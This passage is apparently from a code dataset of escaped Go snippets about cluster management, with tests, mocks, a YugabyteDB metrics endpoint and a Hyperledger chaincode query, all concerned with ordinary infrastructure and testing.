cc.Status.CassandraRackStatus[\"dc1-rack1\"].CassandraLastAction.Name)\n\tassert.Equal(t, api.StatusDone, cc.Status.CassandraRackStatus[\"dc1-rack1\"].CassandraLastAction.Status)\n\t//Check Global state\n\tassert.Equal(t, api.ActionScaleDown.Name, cc.Status.LastClusterAction)\n\tassert.Equal(t, api.StatusDone, cc.Status.LastClusterActionStatus)\n}", "func TestFakeCluster(t *testing.T) {\n\tfakePegasusCluster = newFakeCluster(4)\n\n\ttestCases := []struct {\n\t\ttbName string\n\t\tpartitionNum int\n\t}{\n\t\t{tbName: \"test1\", partitionNum: 16},\n\t\t{tbName: \"test2\", partitionNum: 32},\n\t\t{tbName: \"test3\", partitionNum: 64},\n\t\t{tbName: \"test4\", partitionNum: 128},\n\t}\n\n\tfor _, tt := range testCases {\n\t\tcreateFakeTable(tt.tbName, tt.partitionNum)\n\t}\n\n\tassertReplicasNotOnSameNode(t)\n\n\texpectedTotalPartitions := 16 + 32 + 64 + 128\n\tassertNoMissingReplicaInCluster(t, expectedTotalPartitions)\n}", "func (s *TestBase) Setup() {\n\tvar err error\n\tshardID := 10\n\tclusterName := s.ClusterMetadata.GetCurrentClusterName()\n\n\ts.DefaultTestCluster.SetupTestDatabase()\n\tif s.VisibilityTestCluster != s.DefaultTestCluster {\n\t\ts.VisibilityTestCluster.SetupTestDatabase()\n\t}\n\n\tcfg := s.DefaultTestCluster.Config()\n\tfactory := client.NewFactory(&cfg, clusterName, nil, s.logger)\n\n\ts.TaskMgr, err = factory.NewTaskManager()\n\ts.fatalOnError(\"NewTaskManager\", err)\n\n\ts.MetadataManager, err = factory.NewMetadataManager()\n\ts.fatalOnError(\"NewMetadataManager\", err)\n\n\ts.HistoryV2Mgr, err = factory.NewHistoryManager()\n\ts.fatalOnError(\"NewHistoryManager\", err)\n\n\ts.ShardMgr, err = factory.NewShardManager()\n\ts.fatalOnError(\"NewShardManager\", err)\n\n\ts.ExecutionMgrFactory = factory\n\ts.ExecutionManager, err = factory.NewExecutionManager(shardID)\n\ts.fatalOnError(\"NewExecutionManager\", err)\n\n\tvisibilityFactory := factory\n\tif s.VisibilityTestCluster != s.DefaultTestCluster {\n\t\tvCfg := s.VisibilityTestCluster.Config()\n\t\tvisibilityFactory = client.NewFactory(&vCfg, clusterName, nil, s.logger)\n\t}\n\t// SQL currently doesn't have support for visibility manager\n\ts.VisibilityMgr, err = visibilityFactory.NewVisibilityManager()\n\tif err != nil {\n\t\ts.fatalOnError(\"NewVisibilityManager\", err)\n\t}\n\n\ts.ReadLevel = 0\n\ts.ReplicationReadLevel = 0\n\ts.ShardInfo = &p.ShardInfo{\n\t\tShardID: shardID,\n\t\tRangeID: 0,\n\t\tTransferAckLevel: 0,\n\t\tReplicationAckLevel: 0,\n\t\tTimerAckLevel: time.Time{},\n\t\tClusterTimerAckLevel: map[string]time.Time{clusterName: time.Time{}},\n\t\tClusterTransferAckLevel: map[string]int64{clusterName: 0},\n\t}\n\n\ts.TaskIDGenerator = &TestTransferTaskIDGenerator{}\n\terr = s.ShardMgr.CreateShard(&p.CreateShardRequest{ShardInfo: s.ShardInfo})\n\ts.fatalOnError(\"CreateShard\", err)\n\n\tqueue, err := factory.NewDomainReplicationQueue()\n\ts.fatalOnError(\"Create DomainReplicationQueue\", err)\n\ts.DomainReplicationQueue = queue\n}", "func (m *MockMulticlusterClientset) Cluster(cluster string) (v1alpha1.Clientset, error) {\n\tm.ctrl.T.Helper()\n\tret := m.ctrl.Call(m, \"Cluster\", cluster)\n\tret0, _ := ret[0].(v1alpha1.Clientset)\n\tret1, _ := ret[1].(error)\n\treturn ret0, ret1\n}", "func (m *MockDatabase) GetAllClients() ([]Client, error) {\n\tm.ctrl.T.Helper()\n\tret := m.ctrl.Call(m, \"GetAllClients\")\n\tret0, _ := ret[0].([]Client)\n\tret1, _ := ret[1].(error)\n\treturn ret0, ret1\n}", "func (m *MockRdbClient) GetCluster(arg0 context.Context, arg1 *v1alpha.GetClusterRequest, arg2 ...grpc.CallOption) (*v1alpha.Cluster, error) {\n\tm.ctrl.T.Helper()\n\tvarargs := []interface{}{arg0, arg1}\n\tfor _, a := range arg2 {\n\t\tvarargs = append(varargs, a)\n\t}\n\tret := m.ctrl.Call(m, \"GetCluster\", varargs...)\n\tret0, _ := ret[0].(*v1alpha.Cluster)\n\tret1, _ := ret[1].(error)\n\treturn ret0, ret1\n}", "func (m *MockTChanNode) Query(ctx thrift.Context, req *QueryRequest) (*QueryResult_, error) {\n\tm.ctrl.T.Helper()\n\tret := m.ctrl.Call(m, \"Query\", ctx, req)\n\tret0, _ := ret[0].(*QueryResult_)\n\tret1, _ := ret[1].(error)\n\treturn ret0, ret1\n}", "func waitForClusterToBecomeAwareOfAllSubscriptions(servers []server.NATSServer, subscriptionCount int) error {\n\ttimeout := time.After(time.Second * 5)\n\tfor {\n\t\tselect {\n\t\tcase <-timeout:\n\t\t\tfor _, server := range servers {\n\t\t\t\tif int(server.NumSubscriptions()) != subscriptionCount {\n\t\t\t\t\treturn errors.New(\"Timed out : waitForClusterToBecomeAwareOfAllSubscriptions()\")\n\t\t\t\t}\n\t\t\t}\n\t\t\tlog.Logger.Info().Msg(\"Entire cluster is aware of all subscriptions\")\n\t\t\treturn nil\n\t\tdefault:\n\t\t\tfor _, server := range servers {\n\t\t\t\tif int(server.NumSubscriptions()) != subscriptionCount {\n\t\t\t\t\tlog.Logger.Info().Msgf(\"Subscription count = %d\", server.NumSubscriptions())\n\t\t\t\t\ttime.Sleep(time.Millisecond)\n\t\t\t\t\tcontinue\n\t\t\t\t}\n\t\t\t}\n\t\t\tlog.Logger.Info().Msg(\"Entire cluster is aware of all subscriptions\")\n\t\t\treturn nil\n\t\t}\n\n\t}\n}", "func (c *Controller) findAllClusters() (map[string]spec.Cluster, error) {\n\tservices, err := c.config.Client.ListEtcdServices(\"\")\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tclusters := make(map[string]spec.Cluster)\n\tfor _, s := range services {\n\t\tclient := c.config.Client.Env(s.AccountId)\n\n\t\t// we need to update each service proactively to work around\n\t\t// bugs/limitation of rancher ui service creation\n\t\tif s.Scale > 0 {\n\t\t\ts2 := s\n\t\t\ts2.SelectorContainer = fmt.Sprintf(\"app=etcd,cluster=%s\", s.Id)\n\t\t\ts2.Scale = 0\n\t\t\ts2.StartOnCreate = false\n\t\t\t// we have to adjust the context here from global -> environment to make changes\n\t\t\tranchutil.SetResourceContext(&s.Resource, s.AccountId)\n\t\t\tif _, err := client.Service.Update(&s, &s2); err != nil {\n\t\t\t\tlog.Warnf(\"couldn't update service: %s\", err)\n\t\t\t}\n\t\t}\n\n\t\t// we also need to fetch the stack this service belongs to so we can name\n\t\t// containers appropriately...\n\t\tstackName := \"unknown\"\n\t\tif st, err := client.Stack.ById(s.StackId); err == nil {\n\t\t\tstackName = st.Name\n\t\t}\n\n\t\tcluster := ranchutil.ClusterFromService(s, stackName)\n\t\tclusters[cluster.Metadata.Name] = cluster\n\t}\n\treturn clusters, nil\n}", "func TestClusteringBasic(t *testing.T) {\n\tcleanupDatastore(t)\n\tdefer cleanupDatastore(t)\n\tcleanupRaftLog(t)\n\tdefer cleanupRaftLog(t)\n\n\t// For this test, use a central NATS server.\n\tns := natsdTest.RunDefaultServer()\n\tdefer ns.Shutdown()\n\n\t// Configure first server\n\ts1sOpts := getTestDefaultOptsForClustering(\"a\", true)\n\ts1 := runServerWithOpts(t, s1sOpts, nil)\n\tdefer s1.Shutdown()\n\n\t// Configure second server.\n\ts2sOpts := getTestDefaultOptsForClustering(\"b\", false)\n\ts2 := runServerWithOpts(t, s2sOpts, nil)\n\tdefer s2.Shutdown()\n\n\t// Configure third server.\n\ts3sOpts := getTestDefaultOptsForClustering(\"c\", false)\n\ts3 := runServerWithOpts(t, s3sOpts, nil)\n\tdefer s3.Shutdown()\n\n\tservers := []*StanServer{s1, s2, s3}\n\tfor _, s := range servers {\n\t\tcheckState(t, s, Clustered)\n\t}\n\n\t// Wait for leader to be elected.\n\tgetLeader(t, 10*time.Second, servers...)\n\n\t// Create a client connection.\n\tsc, err := stan.Connect(clusterName, clientName)\n\tif err != nil {\n\t\tt.Fatalf(\"Expected to connect correctly, got err %v\", err)\n\t}\n\tdefer sc.Close()\n\n\t// Publish a message (this will create the channel and form the Raft group).\n\tchannel := \"foo\"\n\tif err := sc.Publish(channel, []byte(\"hello\")); err != nil {\n\t\tt.Fatalf(\"Unexpected error on publish: %v\", err)\n\t}\n\n\tch := make(chan *stan.Msg, 100)\n\tsub, err := sc.Subscribe(channel, func(msg *stan.Msg) {\n\t\tch <- msg\n\t}, stan.DeliverAllAvailable(), stan.MaxInflight(1))\n\tif err != nil {\n\t\tt.Fatalf(\"Error subscribing: %v\", err)\n\t}\n\n\tselect {\n\tcase msg := <-ch:\n\t\tassertMsg(t, msg.MsgProto, []byte(\"hello\"), 1)\n\tcase <-time.After(2 * time.Second):\n\t\tt.Fatal(\"expected msg\")\n\t}\n\n\tsub.Unsubscribe()\n\n\tstopped := []*StanServer{}\n\n\t// Take down the leader.\n\tleader := getLeader(t, 10*time.Second, servers...)\n\tleader.Shutdown()\n\tstopped = append(stopped, leader)\n\tservers = removeServer(servers, leader)\n\n\t// Wait for the new leader to be elected.\n\tleader = getLeader(t, 10*time.Second, servers...)\n\n\t// Publish some more messages.\n\tfor i := 0; i < 5; i++ {\n\t\tif err := sc.Publish(channel, []byte(strconv.Itoa(i))); err != nil {\n\t\t\tt.Fatalf(\"Unexpected error on publish %d: %v\", i, err)\n\t\t}\n\t}\n\n\t// Read everything back from the channel.\n\tsub, err = sc.Subscribe(channel, func(msg *stan.Msg) {\n\t\tch <- msg\n\t}, stan.DeliverAllAvailable(), stan.MaxInflight(1))\n\tif err != nil {\n\t\tt.Fatalf(\"Error subscribing: %v\", err)\n\t}\n\tselect {\n\tcase msg := <-ch:\n\t\tassertMsg(t, msg.MsgProto, []byte(\"hello\"), 1)\n\tcase <-time.After(2 * time.Second):\n\t\tt.Fatal(\"expected msg\")\n\t}\n\tfor i := 0; i < 5; i++ {\n\t\tselect {\n\t\tcase msg := <-ch:\n\t\t\tassertMsg(t, msg.MsgProto, []byte(strconv.Itoa(i)), uint64(i+2))\n\t\tcase <-time.After(2 * time.Second):\n\t\t\tt.Fatal(\"expected msg\")\n\t\t}\n\t}\n\n\tsub.Unsubscribe()\n\n\t// Take down the leader.\n\tleader.Shutdown()\n\tstopped = append(stopped, leader)\n\tservers = removeServer(servers, leader)\n\n\t// Creating a new connection should fail since there should not be a leader.\n\t_, err = stan.Connect(clusterName, clientName+\"-2\", stan.PubAckWait(time.Second), stan.ConnectWait(time.Second))\n\tif err == nil {\n\t\tt.Fatal(\"Expected error on connect\")\n\t}\n\n\t// Bring one node back up.\n\ts := stopped[0]\n\tstopped = stopped[1:]\n\ts = runServerWithOpts(t, s.opts, nil)\n\tservers = append(servers, s)\n\tdefer s.Shutdown()\n\n\t// Wait for the new leader to be elected.\n\tgetLeader(t, 10*time.Second, servers...)\n\n\t// Publish some more messages.\n\tfor i := 0; i < 5; i++ {\n\t\tif err := sc.Publish(channel, []byte(\"foo-\"+strconv.Itoa(i))); err != nil {\n\t\t\tt.Fatalf(\"Unexpected error on publish %d: %v\", i, err)\n\t\t}\n\t}\n\n\t// Bring the last node back up.\n\ts = stopped[0]\n\ts = runServerWithOpts(t, s.opts, nil)\n\tservers = append(servers, s)\n\tdefer s.Shutdown()\n\n\t// Ensure there is still a leader.\n\tleader = getLeader(t, 10*time.Second, servers...)\n\n\t// Publish one more message.\n\tif err := sc.Publish(channel, []byte(\"goodbye\")); err != nil {\n\t\tt.Fatalf(\"Unexpected error on publish: %v\", err)\n\t}\n\n\t// Verify the server stores are consistent.\n\texpected := make(map[uint64]msg, 12)\n\texpected[1] = msg{sequence: 1, data: []byte(\"hello\")}\n\tfor i := uint64(0); i < 5; i++ {\n\t\texpected[i+2] = msg{sequence: uint64(i + 2), data: []byte(strconv.Itoa(int(i)))}\n\t}\n\tfor i := uint64(0); i < 5; i++ {\n\t\texpected[i+7] = msg{sequence: uint64(i + 7), data: []byte(\"foo-\" + strconv.Itoa(int(i)))}\n\t}\n\texpected[12] = msg{sequence: 12, data: []byte(\"goodbye\")}\n\tverifyChannelConsistency(t, channel, 10*time.Second, 1, 12, expected, servers...)\n\n\tsc.Close()\n\t// Speed-up shutdown\n\tleader.Shutdown()\n\ts1.Shutdown()\n\ts2.Shutdown()\n\ts3.Shutdown()\n}", "func (c *Container) GetClusterMetric(ctx echo.Context) error {\n metricsParam := strings.Split(ctx.QueryParam(\"metrics\"), \",\")\n clusterType := ctx.QueryParam(\"cluster_type\")\n nodeParam := ctx.QueryParam(\"node_name\")\n nodeList := []string{nodeParam}\n var err error = nil\n if nodeParam == \"\" {\n if clusterType == \"\" {\n nodeList, err = getNodes()\n } else if clusterType == \"PRIMARY\" {\n nodeList, err = getNodes(\"PRIMARY\")\n } else if clusterType == \"READ_REPLICA\" {\n nodeList, err = getNodes(\"READ_REPLICA\")\n }\n if err != nil {\n return ctx.String(http.StatusInternalServerError, err.Error())\n }\n }\n hostToUuid, err := helpers.GetHostToUuidMap(helpers.HOST)\n if err != nil {\n return ctx.String(http.StatusInternalServerError, err.Error())\n }\n // in case of errors parsing start/end time, set default start = 1 hour ago, end = now\n startTime, err := strconv.ParseInt(ctx.QueryParam(\"start_time\"), 10, 64)\n if err != nil {\n now := time.Now()\n startTime = now.Unix()\n }\n endTime, err := strconv.ParseInt(ctx.QueryParam(\"end_time\"), 10, 64)\n if err != nil {\n now := time.Now()\n endTime = now.Unix() - 60*60\n }\n\n metricResponse := models.MetricResponse{\n Data: []models.MetricData{},\n StartTimestamp: startTime,\n EndTimestamp: endTime,\n }\n\n session, err := c.GetSession()\n if err != nil {\n return ctx.String(http.StatusInternalServerError, err.Error())\n }\n\n for _, metric := range metricsParam {\n // Read from the table.\n var ts int64\n var value int\n var details string\n // need node uuid\n switch metric {\n case \"READ_OPS_PER_SEC\":\n rawMetricValues, err := getRawMetricsForAllNodes(READ_COUNT_METRIC,\n nodeList, hostToUuid, startTime, endTime, session, false)\n if err != nil {\n return ctx.String(http.StatusInternalServerError, err.Error())\n }\n rateMetrics := convertRawMetricsToRates(rawMetricValues)\n nodeMetricValues := reduceGranularityForAllNodes(startTime, endTime,\n rateMetrics, GRANULARITY_NUM_INTERVALS, true)\n metricValues := calculateCombinedMetric(nodeMetricValues, false)\n metricResponse.Data = append(metricResponse.Data, models.MetricData{\n Name: metric,\n Values: metricValues,\n })\n case \"WRITE_OPS_PER_SEC\":\n rawMetricValues, err := getRawMetricsForAllNodes(WRITE_COUNT_METRIC,\n nodeList, hostToUuid, startTime, endTime, session, false)\n if err != nil {\n return ctx.String(http.StatusInternalServerError, err.Error())\n }\n rateMetrics := convertRawMetricsToRates(rawMetricValues)\n nodeMetricValues := reduceGranularityForAllNodes(startTime, endTime,\n rateMetrics, GRANULARITY_NUM_INTERVALS, true)\n metricValues := calculateCombinedMetric(nodeMetricValues, false)\n metricResponse.Data = append(metricResponse.Data, models.MetricData{\n Name: metric,\n Values: metricValues,\n })\n case \"CPU_USAGE_USER\":\n metricValues, err := getAveragePercentageMetricData(\"cpu_usage_user\",\n nodeList, hostToUuid, startTime, endTime, session, true)\n if err != nil {\n return ctx.String(http.StatusInternalServerError, err.Error())\n }\n metricResponse.Data = append(metricResponse.Data, models.MetricData{\n Name: metric,\n Values: metricValues,\n })\n case \"CPU_USAGE_SYSTEM\":\n metricValues, err := getAveragePercentageMetricData(\"cpu_usage_system\",\n nodeList, hostToUuid, startTime, endTime, session, true)\n if err != nil {\n return ctx.String(http.StatusInternalServerError, err.Error())\n }\n metricResponse.Data = append(metricResponse.Data, models.MetricData{\n Name: metric,\n Values: metricValues,\n })\n case \"DISK_USAGE_GB\":\n // For disk usage, we assume every node reports the same metrics\n query := fmt.Sprintf(QUERY_FORMAT, \"system.metrics\", \"total_disk\",\n startTime*1000, endTime*1000)\n iter := session.Query(query).Iter()\n values := [][]float64{}\n for iter.Scan(&ts, &value, &details) {\n values = append(values,\n []float64{float64(ts) / 1000,\n float64(value) / helpers.BYTES_IN_GB})\n }\n if err := iter.Close(); err != nil {\n return ctx.String(http.StatusInternalServerError, err.Error())\n }\n sort.Slice(values, func(i, j int) bool {\n return values[i][0] < values[j][0]\n })\n query = fmt.Sprintf(QUERY_FORMAT, \"system.metrics\", \"free_disk\",\n startTime*1000, endTime*1000)\n iter = session.Query(query).Iter()\n freeValues := [][]float64{}\n for iter.Scan(&ts, &value, &details) {\n freeValues = append(freeValues,\n []float64{float64(ts) / 1000,\n float64(value) / helpers.BYTES_IN_GB})\n }\n if err := iter.Close(); err != nil {\n return ctx.String(http.StatusInternalServerError, err.Error())\n }\n sort.Slice(freeValues, func(i, j int) bool {\n return freeValues[i][0] < freeValues[j][0]\n })\n\n // assume query results for free and total disk have the same timestamps\n for index, pair := range freeValues {\n if index >= len(values) {\n break\n }\n values[index][1] -= float64(pair[1])\n }\n metricResponse.Data = append(metricResponse.Data, models.MetricData{\n Name: metric,\n Values: reduceGranularity(startTime, endTime, values,\n GRANULARITY_NUM_INTERVALS, true),\n })\n case \"PROVISIONED_DISK_SPACE_GB\":\n query := fmt.Sprintf(QUERY_FORMAT, \"system.metrics\", \"total_disk\",\n startTime*1000, endTime*1000)\n iter := session.Query(query).Iter()\n values := [][]float64{}\n for iter.Scan(&ts, &value, &details) {\n values = append(values,\n []float64{float64(ts) / 1000,\n float64(value) / helpers.BYTES_IN_GB})\n }\n if err := iter.Close(); err != nil {\n return ctx.String(http.StatusInternalServerError, err.Error())\n }\n sort.Slice(values, func(i, j int) bool {\n return values[i][0] < values[j][0]\n })\n metricResponse.Data = append(metricResponse.Data, models.MetricData{\n Name: metric,\n Values: reduceGranularity(startTime, endTime, values,\n GRANULARITY_NUM_INTERVALS, true),\n })\n case \"AVERAGE_READ_LATENCY_MS\":\n rawMetricValuesCount, err := getRawMetricsForAllNodes(READ_COUNT_METRIC,\n nodeList, hostToUuid, startTime, endTime, session, false)\n if err != nil {\n return ctx.String(http.StatusInternalServerError, err.Error())\n }\n\n rawMetricValuesSum, err := getRawMetricsForAllNodes(READ_SUM_METRIC,\n nodeList, hostToUuid, startTime, endTime, session, false)\n if err != nil {\n return ctx.String(http.StatusInternalServerError, err.Error())\n }\n\n rateMetricsCount := convertRawMetricsToRates(rawMetricValuesCount)\n rateMetricsSum := convertRawMetricsToRates(rawMetricValuesSum)\n\n rateMetricsCountReduced := reduceGranularityForAllNodes(startTime, endTime,\n rateMetricsCount, GRANULARITY_NUM_INTERVALS, false)\n\n rateMetricsSumReduced := reduceGranularityForAllNodes(startTime, endTime,\n rateMetricsSum, GRANULARITY_NUM_INTERVALS, false)\n\n rateMetricsCountCombined :=\n calculateCombinedMetric(rateMetricsCountReduced, false)\n rateMetricsSumCombined :=\n calculateCombinedMetric(rateMetricsSumReduced, false)\n\n latencyMetric :=\n divideMetricForAllNodes([][][]float64{rateMetricsSumCombined},\n [][][]float64{rateMetricsCountCombined})\n\n metricValues := latencyMetric[0]\n // Divide everything by 1000 to convert from microseconds to milliseconds\n divideMetricByConstant(metricValues, 1000)\n metricResponse.Data = append(metricResponse.Data, models.MetricData{\n Name: metric,\n Values: metricValues,\n })\n case \"AVERAGE_WRITE_LATENCY_MS\":\n rawMetricValuesCount, err := getRawMetricsForAllNodes(WRITE_COUNT_METRIC,\n nodeList, hostToUuid, startTime, endTime, session, false)\n if err != nil {\n return ctx.String(http.StatusInternalServerError, err.Error())\n }\n\n rawMetricValuesSum, err := getRawMetricsForAllNodes(WRITE_SUM_METRIC,\n nodeList, hostToUuid, startTime, endTime, session, false)\n if err != nil {\n return ctx.String(http.StatusInternalServerError, err.Error())\n }\n\n rateMetricsCount := convertRawMetricsToRates(rawMetricValuesCount)\n rateMetricsSum := convertRawMetricsToRates(rawMetricValuesSum)\n\n rateMetricsCountReduced := reduceGranularityForAllNodes(startTime, endTime,\n rateMetricsCount, GRANULARITY_NUM_INTERVALS, false)\n\n rateMetricsSumReduced := reduceGranularityForAllNodes(startTime, endTime,\n rateMetricsSum, GRANULARITY_NUM_INTERVALS, false)\n\n rateMetricsCountCombined :=\n calculateCombinedMetric(rateMetricsCountReduced, false)\n rateMetricsSumCombined :=\n calculateCombinedMetric(rateMetricsSumReduced, false)\n\n latencyMetric :=\n divideMetricForAllNodes([][][]float64{rateMetricsSumCombined},\n [][][]float64{rateMetricsCountCombined})\n\n metricValues := latencyMetric[0]\n // Divide everything by 1000 to convert from microseconds to milliseconds\n divideMetricByConstant(metricValues, 1000)\n metricResponse.Data = append(metricResponse.Data, models.MetricData{\n Name: metric,\n Values: metricValues,\n })\n case \"TOTAL_LIVE_NODES\":\n rawMetricValues, err := getRawMetricsForAllNodes(\"node_up\", nodeList,\n hostToUuid, startTime, endTime, session, false)\n if err != nil {\n return ctx.String(http.StatusInternalServerError, err.Error())\n }\n reducedMetric := reduceGranularityForAllNodes(startTime, endTime,\n rawMetricValues, GRANULARITY_NUM_INTERVALS, true)\n metricValues := calculateCombinedMetric(reducedMetric, false)\n // In cases where there is no data, set to 0\n for i, metric := range metricValues {\n if len(metric) < 2 {\n metricValues[i] = append(metricValues[i], 0)\n }\n }\n metricResponse.Data = append(metricResponse.Data, models.MetricData{\n Name: metric,\n Values: metricValues,\n })\n }\n }\n return ctx.JSON(http.StatusOK, metricResponse)\n}", "func getNodes(clusterType ...string) ([]string, error) {\n hostNames := []string{}\n tabletServersFuture := make(chan helpers.TabletServersFuture)\n go helpers.GetTabletServersFuture(helpers.HOST, tabletServersFuture)\n tabletServersResponse := <-tabletServersFuture\n if tabletServersResponse.Error != nil {\n return hostNames, tabletServersResponse.Error\n }\n\n if len(clusterType) == 0 {\n // to get hostnames, get all second level keys and only keep if\n // net.SpliHostPort succeeds.\n for _, obj := range tabletServersResponse.Tablets {\n for hostport := range obj {\n host, _, err := net.SplitHostPort(hostport)\n if err == nil {\n hostNames = append(hostNames, host)\n }\n }\n }\n } else {\n clusterConfigFuture := make(chan helpers.ClusterConfigFuture)\n go helpers.GetClusterConfigFuture(helpers.HOST, clusterConfigFuture)\n clusterConfigResponse := <-clusterConfigFuture\n if clusterConfigResponse.Error != nil {\n return hostNames, clusterConfigResponse.Error\n }\n replicationInfo := clusterConfigResponse.ClusterConfig.ReplicationInfo\n if clusterType[0] == \"READ_REPLICA\" {\n readReplicas := replicationInfo.ReadReplicas\n if len(readReplicas) == 0 {\n return hostNames, errors.New(\"no Read Replica nodes present\")\n }\n readReplicaUuid := readReplicas[0].PlacementUuid\n for hostport := range tabletServersResponse.Tablets[readReplicaUuid] {\n host, _, err := net.SplitHostPort(hostport)\n if err == nil {\n hostNames = append(hostNames, host)\n }\n }\n } else if clusterType[0] == \"PRIMARY\" {\n primaryUuid := replicationInfo.LiveReplicas.PlacementUuid\n for hostport := range tabletServersResponse.Tablets[primaryUuid] {\n host, _, err := net.SplitHostPort(hostport)\n if err == nil {\n hostNames = append(hostNames, host)\n }\n }\n }\n }\n return hostNames, nil\n}", "func TestMetaCache_GetCollection(t *testing.T) {\n\tctx := context.Background()\n\trootCoord := &MockRootCoordClientInterface{}\n\tqueryCoord := &mocks.MockQueryCoord{}\n\tmgr := newShardClientMgr()\n\terr := InitMetaCache(ctx, rootCoord, queryCoord, mgr)\n\tassert.NoError(t, err)\n\n\tid, err := globalMetaCache.GetCollectionID(ctx, dbName, \"collection1\")\n\tassert.NoError(t, err)\n\tassert.Equal(t, id, typeutil.UniqueID(1))\n\tassert.Equal(t, rootCoord.GetAccessCount(), 1)\n\n\t// should'nt be accessed to remote root coord.\n\tschema, err := globalMetaCache.GetCollectionSchema(ctx, dbName, \"collection1\")\n\tassert.Equal(t, rootCoord.GetAccessCount(), 1)\n\tassert.NoError(t, err)\n\tassert.Equal(t, schema, &schemapb.CollectionSchema{\n\t\tAutoID: true,\n\t\tFields: []*schemapb.FieldSchema{},\n\t\tName: \"collection1\",\n\t})\n\tid, err = globalMetaCache.GetCollectionID(ctx, dbName, \"collection2\")\n\tassert.Equal(t, rootCoord.GetAccessCount(), 2)\n\tassert.NoError(t, err)\n\tassert.Equal(t, id, typeutil.UniqueID(2))\n\tschema, err = globalMetaCache.GetCollectionSchema(ctx, dbName, \"collection2\")\n\tassert.Equal(t, rootCoord.GetAccessCount(), 2)\n\tassert.NoError(t, err)\n\tassert.Equal(t, schema, &schemapb.CollectionSchema{\n\t\tAutoID: true,\n\t\tFields: []*schemapb.FieldSchema{},\n\t\tName: \"collection2\",\n\t})\n\n\t// test to get from cache, this should trigger root request\n\tid, err = globalMetaCache.GetCollectionID(ctx, dbName, \"collection1\")\n\tassert.Equal(t, rootCoord.GetAccessCount(), 2)\n\tassert.NoError(t, err)\n\tassert.Equal(t, id, typeutil.UniqueID(1))\n\tschema, err = globalMetaCache.GetCollectionSchema(ctx, dbName, \"collection1\")\n\tassert.Equal(t, rootCoord.GetAccessCount(), 2)\n\tassert.NoError(t, err)\n\tassert.Equal(t, schema, &schemapb.CollectionSchema{\n\t\tAutoID: true,\n\t\tFields: []*schemapb.FieldSchema{},\n\t\tName: \"collection1\",\n\t})\n}", "func (t *SimpleChaincode) queryAll(stub shim.ChaincodeStubInterface, args []string) pb.Response {\n\n\tif len(args) != 0 {\n\t\treturn shim.Error(\"Incorrect number of arguments. Expecting 0\")\n\t}\n\n resultsIterator, err := stub.GetStateByRange(\"\",\"\")\n if err != nil {\n return shim.Error(err.Error())\n }\n defer resultsIterator.Close()\n\n // buffer is a JSON array containing QueryResults\n var buffer bytes.Buffer\n buffer.WriteString(\"\\n[\")\n\n\tbArrayMemberAlreadyWritten := false\n for resultsIterator.HasNext() {\n queryResponse, err := resultsIterator.Next()\n if err != nil {\n return shim.Error(err.Error())\n }\n // Add a comma before array members, suppress it for the first array member\n if bArrayMemberAlreadyWritten == true {\n buffer.WriteString(\",\")\n }\n buffer.WriteString(\"{\\\"Key\\\":\")\n buffer.WriteString(\"\\\"\")\n buffer.WriteString(queryResponse.Key)\n buffer.WriteString(\"\\\"\")\n\n buffer.WriteString(\", \\\"Record\\\":\")\n // Record is a JSON object, so we write as-is\n buffer.WriteString(string(queryResponse.Value))\n buffer.WriteString(\"}\")\n bArrayMemberAlreadyWritten = true\n }\n buffer.WriteString(\"]\\n\")\n return shim.Success(buffer.Bytes())\n}", "func (m *MockCluster) Index(filters ...ClusterFilter) (api.Clusters, error) {\n\tvarargs := []interface{}{}\n\tfor _, a := range filters {\n\t\tvarargs = append(varargs, a)\n\t}\n\tret := m.ctrl.Call(m, \"Index\", varargs...)\n\tret0, _ := ret[0].(api.Clusters)\n\tret1, _ := ret[1].(error)\n\treturn ret0, ret1\n}", "func TestClusterStorage_Get(t *testing.T) {\n\n\tinitStorage()\n\n\tvar (\n\t\tstg = newClusterStorage()\n\t\tctx = context.Background()\n\t\tc = getClusterAsset()\n\t)\n\n\ttype fields struct {\n\t\tstg storage.Cluster\n\t}\n\n\ttype args struct {\n\t\tctx context.Context\n\t}\n\n\ttests := []struct {\n\t\tname string\n\t\tfields fields\n\t\targs args\n\t\twant *types.Cluster\n\t\twantErr bool\n\t\terr string\n\t}{\n\t\t{\n\t\t\t\"get cluster info successful\",\n\t\t\tfields{stg},\n\t\t\targs{ctx},\n\t\t\t&c,\n\t\t\tfalse,\n\t\t\t\"\",\n\t\t},\n\t\t{\n\t\t\t\"test failed no entity\",\n\t\t\tfields{stg},\n\t\t\targs{ctx},\n\t\t\tnil,\n\t\t\ttrue,\n\t\t\tstore.ErrEntityNotFound,\n\t\t},\n\t}\n\n\tclear := func() {\n\t\tif err := stg.Clear(ctx); err != nil {\n\t\t\tt.Errorf(\"ClusterStorage.Get() storage setup error = %v\", err)\n\t\t\treturn\n\t\t}\n\t}\n\n\tfor _, tt := range tests {\n\t\tt.Run(tt.name, func(t *testing.T) {\n\n\t\t\tclear()\n\t\t\tdefer clear()\n\n\t\t\tif !tt.wantErr {\n\t\t\t\tif err := stg.SetStatus(ctx, &c.Status); err != nil {\n\t\t\t\t\tt.Errorf(\"ClusterStorage.Get() storage setup error = %v\", err)\n\t\t\t\t\treturn\n\t\t\t\t}\n\t\t\t}\n\n\t\t\tgot, err := tt.fields.stg.Get(tt.args.ctx)\n\t\t\tif err != nil {\n\t\t\t\tif tt.wantErr && tt.err != err.Error() {\n\t\t\t\t\tt.Errorf(\"ClusterStorage.Get() error = %v, wantErr %v\", err, tt.err)\n\t\t\t\t\treturn\n\t\t\t\t}\n\t\t\t\tif !tt.wantErr {\n\t\t\t\t\tt.Errorf(\"ClusterStorage.Get() error = %v, want no error\", err)\n\t\t\t\t}\n\t\t\t\treturn\n\t\t\t}\n\n\t\t\tif tt.wantErr {\n\t\t\t\tt.Errorf(\"ClusterStorage.Get() want error = %v, got none\", tt.err)\n\t\t\t\treturn\n\t\t\t}\n\n\t\t\tif !compareClusters(got, tt.want) {\n\t\t\t\tt.Errorf(\"ClusterStorage.Get() = %v, want %v\", got, tt.want)\n\t\t\t}\n\t\t})\n\t}\n}", "func TestCheckNonAllowedChangesScaleDown(t *testing.T) {\n\tassert := assert.New(t)\n\n\trcc, cc := HelperInitCluster(t, \"cassandracluster-3DC.yaml\")\n\tstatus := cc.Status.DeepCopy()\n\trcc.updateCassandraStatus(cc, status)\n\n\t//Create the Pods wanted by the statefulset dc2-rack1 (1 node)\n\tpod := &v1.Pod{\n\t\tTypeMeta: metav1.TypeMeta{\n\t\t\tKind: \"Pod\",\n\t\t\tAPIVersion: \"v1\",\n\t\t},\n\t\tObjectMeta: metav1.ObjectMeta{\n\t\t\tName: 